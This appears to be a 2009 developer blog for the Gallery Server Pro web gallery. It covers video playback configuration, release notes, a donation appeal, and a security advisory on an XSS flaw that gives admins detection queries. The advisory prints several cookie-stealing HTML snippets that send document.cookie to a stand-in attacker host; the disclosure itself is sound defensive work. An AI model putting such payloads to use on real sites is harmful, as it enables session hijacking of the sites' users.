Monday, July 20, 2009

Play H.264 video and audio with Silverlight

Now that Silverlight 3 is out, with its new support for H.264 audio and video, several of you have been wondering how to play these files in Gallery Server Pro. I took a few minutes to look into this today, and it turned out to be really easy. Adding support is as simple as making a few edits to galleryserverpro.config. Here is what a H.264 video - with a file extension of .mp4 - looks like when played in Silverlight within Gallery Server Pro (live demo):

H264_video_514x507

This works even if you are still using .NET 2.0 on the web server. The next release of Gallery Server Pro will include support for this, but until then you can follow these directions to get it working in 2.3:

Note that I assume your H.264 files use the .mp4 and .m4a file extensions. They will need some adjustment if you use other extensions.

  1. Open \gs\config\galleryserverpro.config in a text editor such as Notepad.
  2. In the <mimeTypes> section, add an entry for the .m4a file type: <mimeType fileExtension=".m4a" browserId="default" type="audio/m4a" allowAddToGallery="true" /> (There is already an entry for .mp4.)
  3. Add .m4a and .mp4 to the silverlightFileTypes setting near the beginning of the file so that it looks like this: silverlightFileTypes=".mp3,.wma,.wmv,.asf,.asx,.mp4,.m4a"
  4. Add HTML templates for the .m4a and .mp4 file types in the <mediaObjects> section:
<mediaObject mimeType="audio/m4a">
<browsers>
<browser id="default" htmlOutput="&lt;div id='mp1p'&gt;&lt;/div&gt;"
scriptOutput="Sys.UI.Silverlight.Control.createObject('mp1p', '&lt;object type=&quot;application/x-silverlight&quot; id=&quot;mp1&quot; style=&quot;height:{Height}px;width:{Width}px;&quot;&gt;&lt;param name=&quot;minRuntimeVersion&quot; value=&quot;3.0.40624.0&quot; /&gt;&lt;param name=&quot;Windowless&quot; value=&quot;True&quot; /&gt;&lt;a href=&quot;http://go2.microsoft.com/fwlink/?LinkID=114576&amp;v=1.0&quot;&gt;&lt;img src=&quot;http://go2.microsoft.com/fwlink/?LinkID=108181&quot; alt=&quot;Get Microsoft Silverlight&quot; style=&quot;border-width:0;&quot; /&gt;&lt;/a&gt;&lt;/object&gt;'); Sys.Application.add_init(function() { $create(Sys.UI.Silverlight.MediaPlayer, { &quot;mediaSource&quot;: &quot;{MediaObjectUrl}&quot;, &quot;scaleMode&quot;: 1, &quot;source&quot;: &quot;{GalleryPath}/skins/mediaplayer/AudioGray.xaml&quot;,&quot;autoPlay&quot;:{AutoStartMediaObjectText} }, null, null, $get(&quot;mp1p&quot;)); }); Sys.Application.initialize();Array.add(_mediaObjectsToDispose, &quot;mp1&quot;);
" />
</browsers>
</mediaObject>

<mediaObject mimeType="video/mp4">
<browsers>
<browser id="default" htmlOutput="&lt;div id='mp1p'&gt;&lt;/div&gt;"
scriptOutput="Sys.UI.Silverlight.Control.createObject('mp1p', '&lt;object type=&quot;application/x-silverlight&quot; id=&quot;mp1&quot; style=&quot;height:{Height}px;width:{Width}px;&quot;&gt;&lt;param name=&quot;minRuntimeVersion&quot; value=&quot;3.0.40624.0&quot; /&gt;&lt;param name=&quot;Windowless&quot; value=&quot;True&quot; /&gt;&lt;a href=&quot;
http://go2.microsoft.com/fwlink/?LinkID=114576&amp;v=1.0&quot;&gt;&lt;img src=&quot;http://go2.microsoft.com/fwlink/?LinkID=108181&quot; alt=&quot;Get Microsoft Silverlight&quot; style=&quot;border-width:0;&quot; /&gt;&lt;/a&gt;&lt;/object&gt;'); Sys.Application.add_init(function() { $create(Sys.UI.Silverlight.MediaPlayer, { &quot;mediaSource&quot;: &quot;{MediaObjectUrl}&quot;, &quot;scaleMode&quot;: 1, &quot;source&quot;: &quot;{GalleryPath}/skins/mediaplayer/Professional.xaml&quot;,&quot;autoPlay&quot;:{AutoStartMediaObjectText} }, null, null, $get(&quot;mp1p&quot;)); }); Sys.Application.initialize();Array.add(_mediaObjectsToDispose, &quot;mp1&quot;);" />
</browsers>
</mediaObject>



Savvy observers will notice these templates are exactly the same as the Silverlight templates used for .wma and .wmv files with one exception: They add a line specifying the minimum required version is 3.0.40624.0. The Silverlight javascript uses this to make sure the user has the latest version before attempting to play the file. The other Silverlight-related media files (.wma, .wmv, .mp3, etc) will play in any release of Silverlight dating back to 1.0.

Friday, July 3, 2009

Play Flash video in your gallery

There was recent activity in the forum with a user trying to play Flash video (.flv) in Gallery Server. He ended up getting it working by creating an HTML template in the configuration file galleryserverpro.config. His success sparked my interest and I checked into it further to see if this was something I can incorporate in the next full release.

He had used the JW FLV Media Player from longtail video, so I started there. After spending some time learning about the different features and playing with a few different configurations, I finally had something that worked great. I was just about to check in the code when it occurred to me that I should check the license. I should have done that in the first place, because there was trouble. It uses the Creative Commons Attribution-Noncommercial-Share Alike 3.0 Unported license. It allows free use and distribution when used non-commercially, which would be fine for many of you, but not everyone.

So I started looking around. It didn't take long until I came across flowplayer. It is a good-looking player and easy to configure. The best part is that it is released under the GPL, the same license as Gallery Server. I am not a lawyer, and please correct me if I am wrong, but I think that means I can include it with Gallery Server and not have to worry about the legal details.

Here you can see a Flash video playing in Google Chrome (see it for yourself):

Screenshot of Flash video playing in Gallery Server Pro using the flowplayer

The next release of GSP will include this feature, but you don't have to wait. The beauty of GSP's innovative templating engine is that you can customize the HTML that is rendered for media objects by editing galleryserverpro.config. No changes to the source code are necessary, nor do you have to recompile.

To add support for Flash video in your gallery, follow these steps:

  1. Download flowplayer. Copy the following three files to the \gs\script\ directory in your gallery web application: flowplayer-3.1.1.min.js, flowplayer-3.1.1.swf, flowplayer.controls-3.1.1.swf
  2. Open \gs\config\galleryserverpro.config in a text editor. In the <mimeTypes> section, add an entry for the .flv file type: <mimeType fileExtension=".flv" browserId="default" type="video/x-flv" allowAddToGallery="true" />
  3. In the <mediaobjects> section earlier in galleryserverpro.config, add a template to define the HTML that is rendered for .flv files:
<mediaObject mimeType="video/x-flv">
<browsers>
<browser id="default"
htmlOutput="&lt;script type=&quot;text/javascript&quot; src=&quot;{GalleryPath}/script/flowplayer-3.1.1.min.js&quot;&gt;&lt;/script&gt;&lt;a href=&quot;{MediaObjectUrl}&quot; style=&quot;display:block;width:{Width}px;height:{Height}px&quot; id=&quot;player&quot;&gt;&lt;/a&gt;"
scriptOutput="flowplayer(&quot;player&quot;, { src: &quot;{GalleryPath}/script/flowplayer-3.1.1.swf&quot;, wmode: &quot;opaque&quot; }, { clip:  { autoPlay: {AutoStartMediaObjectText}, scaling: &quot;fit&quot; } });" />
</browsers>
</mediaObject>

That is it! Add a .flv file to your gallery and it should play in any browser that has Flash installed. The video will start automatically if you have the autostart option enabled on the Video tab in the Site admin area. The width and height are defined on that page, too, so if you want it bigger or smaller, change it there (and then re-synchronize to update the existing media objects).

Note: If you have trouble, make sure IIS is configured to serve .flv file types (MIME type: video/x-flv).

If you want to better understand the template - maybe you want to tweak it to suit your preferences - it is helpful to copy the contents of the htmlOutput and scriptOutput attributes to a text editor and un-escape it. That is, replace &lt; with <, &gt; with >, and &quot; with ". It will be a lot easier to understand. Make your changes, then re-escape it when you copy it back to galleryserverpro.config. There is more info about the templating engine in the Admin Guide.

I updated the demo site to include a Flash video, so feel free to check it out.

Tuesday, June 23, 2009

Script error fixed in 2.3.3456

There is a bug that appeared in Gallery Server Pro 2.3.3456 released last week. I just fixed it and updated the download packages to include it. I didn't rev the version number because that takes a few hours and this didn't seem important enough to justify the effort.

This affects those of you who disable the image metadata feature, as seen here on the Media Objects - General page in the Site admin area:

Screen shot showing the image metadata function disabled

If you kept this option enabled (which is the default), you are not affected by the issue.

When disabled, however, a javascript error occurs when you click the Next or Previous buttons as you browse an album. This is caused by a bug in the script file mediaobjectview.js. If this affects you, replace your version of this file with the latest one in one of the download packages (they all contain the same file). The file is located at \gs\script\mediaobjectview.js.

Thursday, June 18, 2009

Administrator's Guide and Update Released

Today I released the Administrator's Guide for 2.3 with all new screen shots and updated information.

I also released another update for Gallery Server Pro. It contains another set of bug fixes, a couple minor new features, and a few minor behavior changes. Full details are on the Release History page.

The Admin Guide and the new release can be downloaded here.

Enjoy!

Tuesday, June 2, 2009

Update for 2.3 includes fix for security vulnerability

Today I posted version 2.3.3440 of Gallery Server Pro. It includes a couple minor features and several bug fixes. A complete list is on the Release History page. The QuickStart Guide with instructions for upgrading is on the Download page.

The most important bug fix is a cross-site scripting (XSS) vulnerability, and it affects all versions of Gallery Server Pro beginning with 2.1. Until you get a chance to upgrade to the latest version, I recommend you disable the ability to add external media objects. In the Site admin area, on the Media Objects - General page, uncheck the option as seen here:

disable_external_media_object

In Depth: Cross-site scripting (XSS) vulnerability

The vulnerability exists in the external media object feature. This feature, introduced in 2.1, allows one to add snippets of HTML - such as embed code for a YouTube video - as a media object. The text entered by the user was not analyzed for malicious javascript. This was an intentional decision at the time because it was impossible to predict the HTML one might want to add, and some sites - such as CNN - use the <script> tag in their embed code. Since presumably administrators gave only trusted users the ability to add objects, this seemed like an acceptable thing to do.

But then version 2.3 introduced community galleries and self registration, and suddenly a much wider variety of users are able to add objects. Furthermore, I learned more about cross-site scripting attacks and learned how Gallery Server was vulnerable.

How serious is this vulnerability? In the worst case scenario, a hacker can log in to the gallery as a system administrator, meaning he or she can delete your media objects or change the settings in the Site admin area. This is accomplished by creating a specially crafted snippet of HTML and uploading it as an external media object. Each time the media object is viewed, the cookie of the user viewing it is sent to a remote web site, thereby putting it in the hands of the hacker. The hacker can then use the cookie to impersonate that user. For example, if an administrator viewed the malformed object, the hacker could subsequently log in as the gallery administrator and do anything the administrator can do. This is called session hijacking.

Note that this attack DOES NOT compromise the IIS configuration or allow the user to take over the web server. It appears to be restricted to allowing a hacker to log in under another gallery account.

It is possible this XSS vulnerability has other security implications, but as best I can tell this is the most important one to worry about.

 

What was changed

For 2.3.3440, the following changes were made:

  • The scope of the configuration setting allowHtmlInTitlesAndCaptions was expanded to apply to external media objects. When false (the default value), the user is prevented from creating an external media object that contains HTML. (Note: It would be more appropriate to rename the setting allowUserEnteredHtml, but for the sake of backward compatibility and ease of upgrading the original name was preserved.)
  • When HTML is explicitly enabled, the list of allowed HTML tags and attributes is severely restricted. They are listed in two new configuration settings in galleryserverpro.config: allowedHtmlTags and allowedHtmlAttributes. (Previously the list was hard-coded and applied only to the titles of albums and media objects.)
  • A new configuration setting allowUserEnteredJavascript can be used to control whether javascript is allowed in user input. When false - which is the default - <script> tags and the string "javascript:" are banned.
  • For album and media object titles, invalid HTML and javascript is automatically removed before being stored in the database. In previous versions, it was encoded (for example, < was replaced with &lt;).

I believe when these settings are used at their default values Gallery Server Pro is protected against XSS attacks, session hijacking, and any other attacks I have studied.

These changes mean that in the default configuration users can add only plain text as external media objects. To make this feature more useful, an administrator will want to enable the HTML setting. I believe that users are still protected against attacks when HTML is allowed as long as the list of allowed HTML tags and attributes remain at their default values.

When HTML is enabled, the following HTML tags and attributes are allowed. An administrator can edit these on the User Settings page in Site Admin.

Tags: p, a, div, span, br, ul, ol, li, table, tr, td, th, h1, h2, h3, h4, h5, h6, strong, b, em, i, u, cite, blockquote, address, pre, hr, img, dl, dt, dd, code, tt

Attributes: href, class, style, id, src, title, alt, target, name

You may still be vulnerable if you change the settings

Use caution when adding HTML tags and attributes to the "allowed" lists, especially event attributes such as onclick, onmouseover, etc. Consider the following HTML snippet, which sends the logged-on user's cookie to a remote web site and is a common technique used in session hijacking attacks to impersonate another user:

<p onclick="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</p>

Starting with 2.3.3440, this text cannot be entered as an external media object (or an album or media object title, for that matter) because it contains HTML. If you enable HTML, the text is still not valid because it contains the onclick attribute which is not in the list of allowed HTML attributes. However, if you add onclick to the list, this text can be entered, even if you have the javascript option disabled.

This is because javascript is very difficult to accurately detect. The allowUserEnteredJavascript setting prevents the use of <script> tags and "javascript:" strings, but they are not present in this example. Sure, Gallery Server Pro could search for document.cookie, but if it does that it needs to search for all the possible javascript statements, which is cumbersome and error-prone.

Note that the following sample does not work and is therefore not a security risk:

<a href="document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>

Even though the a tag and href attribute are in the list of allowed HTML, hyperlinks require the use of the string "javascript:" like this:

<a href="javascript:document.location='http://www.malicioussite.com/s.cgi?' + document.cookie">Click me</a>

All of the allowed attributes in a default Gallery Server Pro installation require the use of the string "javascript:", so as long as you are restricting javascript input (that is, allowUserEnteredJavascript=false), you are protected.

Key points

  • Starting with 2.3.3440, HTML and javascript are disabled by default for external media objects.
  • The "Allow HTML" option on the User Settings page in the Site admin area now applies to external media objects in addition to captions and titles.
  • If you previously enabled HTML in your gallery, then it is allowed but the HTML validator uses a slightly different list of valid HTML tags and attributes than what was previously hard-coded.
  • There are no known vulnerabilities if you enable HTML with the default list of tags and attributes.
  • Adding any event attribute such as onclick, onmouseover, etc to the list of allowed HTML attributes makes you vulnerable to XSS and session hijacking, even if you have the allow javascript option disabled.
  • Enabling the use of javascript makes you vulnerable, even with the default list of HTML tags and attributes.

 

How to tell if your site has been compromised

If users have been able to add external media objects to your gallery, they may have already uploaded malicious code. The only sure way to determine if this has happened is to manually inspect the content of external media objects. This feature is not exposed in the UI, so you have to look in the database table. In your favorite SQL program (such as Management Studio for SQL Server or SQLite Manager for SQLite) run the following SQL:

SQLite: SELECT MediaObjectId, ExternalHtmlSource FROM gs_MediaObject WHERE LENGTH(ExternalHtmlSource) > 0

SQL Server: SELECT MediaObjectId, ExternalHtmlSource FROM gs_MediaObject WHERE LEN(ExternalHtmlSource) > 0

You will see the snippets of text that users entered when they added external media objects. If you see the text "document.cookie", that is a red flag. It is possible that a malicious user encoded the script to make it difficult to find, so be suspicious of any text you do not understand.

 

A tip for adding external media objects that use script or banned tags

As I mentioned earlier, some web sites include javascript or banned tags in their embed code. For example, here is a snippet of video from CNN.com:

<script src="http://i.cdn.turner.com/cnn/.element/js/2.0/video/evp/module.js?loc=dom&vid=/video/world/2009/06/02/bpr.plane.debris.found.cnn" type="text/javascript"></script><noscript>Embedded video from <a href="http://www.cnn.com/video">CNN Video</a></noscript>

The only way to add this to the gallery is to do three things: (1) enable javascript; (2) add the HTML tag script to the list of allowed tags; (3) add the HTML attribute type to the list of allowed attributes. Doing this makes you vulnerable to an XSS attack, so I do not recommend you use these settings on a long-term basis unless you totally trust your users that add objects. However, you *can* change the settings just long enough to add the code. Then go back to Site admin and revert to the previous settings. The snippet will continue to work, synchronizing won't break it, and your site is still safe.

Friday, May 15, 2009

Gallery Server Pro 2.3 Released!

Screen shot of Gallery Server Pro 2.3 After several months of non-stop work, I am happy to release the latest version of Gallery Server Pro! Among the thirty-three new features are:

  • Faster, lighter, better-looking pages
  • Zero-maintenance community galleries
  • Improved handling of DIVX, PDF, TXT, HTML, RTF, Word docs and other files
  • Support for read-only galleries
  • Error logging
  • Album paging
  • Ability to download multiple items in a ZIP archive
  • Many other usability enhancements...

There were also more than forty bugs fixed in this release. I described many of the new features in a previous post, so I won't repeat myself. For a complete list of features and bugs, including detailed reports from my tracking software, go to the Release History page.

Upgrading from 2.1 or 2.2 is a snap. Follow these simple steps:

  1. Make a copy of your web.config, galleryserverpro.config and galleryserverpro_data.sqlite files.
  2. Replace the files in the web application directory with the new ones (but don't delete your media object files).
  3. (SQLite only) Replace the galleryserverpro_data.sqlite file in the App_Data directory with yours.
  4. Run the upgrade wizard and follow the directions. The wizard is at default.aspx?g=upgrade. It will help you import your settings from web.config and galleryserverpro.config files.

These are the same upgrade steps you would have followed to upgrade to 2.2, so if you would like more detailed instructions, including how to upgrade from versions earlier than 2.1, refer to the Administrator's Guide.

Speaking of the Administrator's Guide, it will take a couple weeks to fully update this 200-page beast (uggh), so until then use the 2.3 QuickStart Guide to fill in some of the gaps.

As I previously mentioned, our savings account is nearly tapped out, so if you enjoy Gallery Server Pro, please consider a donation. Thanks!

Thursday, May 7, 2009

The Financial Status of Gallery Server Pro (or: This Guy Needs A Summer Job)

People ask how I can manage to distribute Gallery Server Pro for free. Do I have a rich uncle? No. Are the donations really enough to pay the bills? Well, no, they are not. I want to be completely transparent with you, so here is a report of recent GSP registrations and donations (a registration is simply a request for a product key):

 Registrations and donations to Gallery Server Pro, By Month

The average donation is $45, and has ranged from $1 all the way to $500. I find it inspiring that so many of you donate of your own free will, and $400 per month is a nice chunk of change. But I can't live on that. Margaret brings in about the same with her part-time job, so we have been slowly burning through our savings.

Roger & SkylerAnd now our money is about to run out, so I have to figure out a way to recharge the savings account. An avalanche of donations would be my preferred method, but that is unlikely to happen. Or will it? hint...hint...

I could start charging for GSP. Many have suggested I do just that, and people I respect believe it would be successful. But I am absolutely committed to keeping GSP free and open source. The fact that an average of 8% of you donate is quite impressive - If I can increase the number of registrations to 1000 or more per month, GSP will become self-sustaining. I intend to get there, but "there" has not yet arrived.

What I need to do is find a programming contract that keeps me fully employed for a month or two or six. This is where you come in. Is there a .NET project I can help you with? Would you like a customization of GSP for your website? Maybe there is some feature you would like, like a shopping cart, integration with Flickr, etc.

Visit Tech Info Systems for more information about my consulting and programming abilities. My resume is updated with the latest exaggerations. Contact me at roger*at*techinfosystems*dot*com or give me a ring at 920-563-3165. I will even fly to your location to discuss your project (you pay travel expenses). Projects in New Zealand are given top priority.

Help this guy get a summer job. And when my savings are again stocked, I will be back at GSP full time. There is a lot of great stuff in the pipeline, and I can't wait to open the spigots.